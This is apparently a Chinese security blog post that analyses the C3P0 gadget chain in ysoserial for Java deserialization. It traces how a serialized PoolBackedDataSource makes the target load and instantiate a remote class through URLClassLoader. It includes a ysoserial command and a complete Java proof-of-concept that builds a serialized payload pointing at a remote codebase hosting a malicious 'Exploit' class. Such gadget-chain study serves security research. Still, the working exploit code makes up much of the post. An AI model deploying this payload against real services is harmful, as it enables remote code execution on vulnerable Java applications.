环境准备:

pom:

      <!-- https://mvnrepository.com/artifact/com.mchange/c3p0 -->
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>

payload生成:

java -jar ysoserial.jar C3P0 "http://127.0.0.1:8989/:Exploit" > test.ser  //加载Exploit.class

调用链分析:

exec处下断点,整个调用链如下图所示:

反序列化的入口点时com/mchange/v2/c3p0/impl/PoolBackedDataSourceBase,

首先从输入流中还原出一个referenceIndirector的内部类referenceSerialized的对象,然后判断其若是不是类IndirectlySerialized的实例,由下图可得此时referenceSerialized实现了referenceSerialized接口,那么

referenceSerialized必定是其实例

而该接口定义了一个getObject方法,用于返回对象,所以就到了referenceSerialized类的getObject

在这里获取上下文,应该是尝试通过jndi的方式获取上下文,然而这里contextname为null,即jndi失效,所以通过ReferenceableUtils.referenceToObject来加载引用,这里引入的类名为exploit,也就是我们的恶意的字节码的文件名

reFerenceToObject根据Reference对象来获取工厂类的名字,以及工厂类的地址,接着拿到类加载器,拿到appClassLoader(一般程序中类加载都用这个,它的上面还有jre核心类运行的加载(rt.jar)bootstrap classloader和扩展类加载ext classloader)

接着就判断工厂类地址是否为空,不为空则去远程地址加载工厂类,这里用到了urlclassLoader,然后通过class.forname生成一个class 类型的实例,就加载到了工厂类,即我们的恶意字节码类

Class var12 = Class.forName(var4, true, (ClassLoader)var7);

接着newInstance完成了类的实例化,即触发构造方法中的代码块执行

tip:

那么这里重点还是引用类的构造,即referenceSerialized的this.reference成员变量的赋值

ysoserial的构造:

这里先实例化一个PoolBackedDataSource的实例,然后再将本地构造的PoolSource赋值给该类的connectionPoolDataSource成员方法,感觉这里比较主要的就是重写getReference方法来返回一个指向远程地址的引用实例

看下PoolBackedDataSource的writeObject方法应该更好理解一点:

因为序列化时实际上是从输入流中读出一个object来调用其getobject,所以这里第一次写入的object就是要反序列化利用的object,第一个tobyteArray那里如下图catch到错误,因为poolsource是不可序列化的类,所以走到reference那里indirector.indirectForm(this.connectionPoolDataSource),这个传入的就是本地构造的poolsource的实例

indirectForm里面调用poolSource的getRerence方法实际上想返回一个reference类型的实例,所以ysoserial构造gadget的时候要本地定义一个getRerence()方法

所以indirectForm最后返回一个ReferenceIndirector.ReferenceSerialized的实例,其可序列化,因为有下面两个图的关系

所以最终这里调用weiteObject写入序列化的数据流,完成payload的构造

所以就可以手动构造poc了:

poc.java

package C3P0;

import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger; public class payload1 {
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url; public PoolSource(String className, String url) {
this.className = className;
this.url = url;
} @Override
public Reference getReference() throws NamingException {
return new Reference("exploit", this.className, this.url);
} @Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
} @Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
} @Override
public PrintWriter getLogWriter() throws SQLException {
return null;
} @Override
public void setLogWriter(PrintWriter out) throws SQLException { } @Override
public void setLoginTimeout(int seconds) throws SQLException { } @Override
public int getLoginTimeout() throws SQLException {
return 0;
} @Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException, IOException {
Constructor con = PoolBackedDataSource.class.getDeclaredConstructor(new Class[0]);
con.setAccessible(true);
PoolBackedDataSource obj = (PoolBackedDataSource) con.newInstance(new Object[0]);
Field conData = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
conData.setAccessible(true);
conData.set(obj, new PoolSource("Exploit", "http://127.0.0.1:8989/"));
ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/t.ser"));
objOut.writeObject(obj);
} }

源码地址:https://github.com/Wfzsec/ysoserial-poc

最新文章

  1. 为了让你的网页能在更多的服务器上正常地显示,还是加上“SET NAMES UTF8”吧
  2. 中国大学MOOC-陈越、何钦铭-数据结构-2016秋期末考试
  3. C#日期格式转换
  4. Android成长日记日记-Debug调试程序
  5. 数论只会GCD。。。
  6. JS match() 方法 使用
  7. [转载]Robotium API 翻译(三)——判断测试结果的方法assert、is、search
  8. ubuntu14.04配置impala的odbc连接
  9. 使用CORS:跨域两三事
  10. 数组乘积--满足result[i] = input数组中除了input[i]之外所有数的乘积(假设不会溢出
  11. Hibernate查询方法总结
  12. Unity3d之流光效果
  13. Linux系统(三)系统基础扫盲大全
  14. swift学习 - 单例实现(singleton)
  15. PHP+Mysql基于事务处理实现转账功能的方法
  16. sharepoint 2013实践
  17. 分布式进阶(九)Ubuntu下使用nsenter进入Docker容器
  18. jQuery 中的事件绑定
  19. tomcat使用详解(week4_day2)--技术流ken
  20. makefile笔记2 - makefile总述

热门文章

  1. C++扬帆远航——5(换分币)
  2. LeetCode 32,并不Hard的难题,解法超级经典,带你领略动态规划的精彩
  3. Java入门教程五(数字和日期处理)
  4. 7-46 jmu-python-求单词长度 (10 分)
  5. 7-42 jmu-python-找字符 (15 分)
  6. 正式学习MVC 02
  7. 解决ionic2/ionic3轮播图切换页面或者点击过后不自动轮图
  8. [译]介绍一下渐进式 Web App(即时加载) - Part 2
  9. 关于java性能优化细节方面的建议
  10. JavaScript实现集合与字典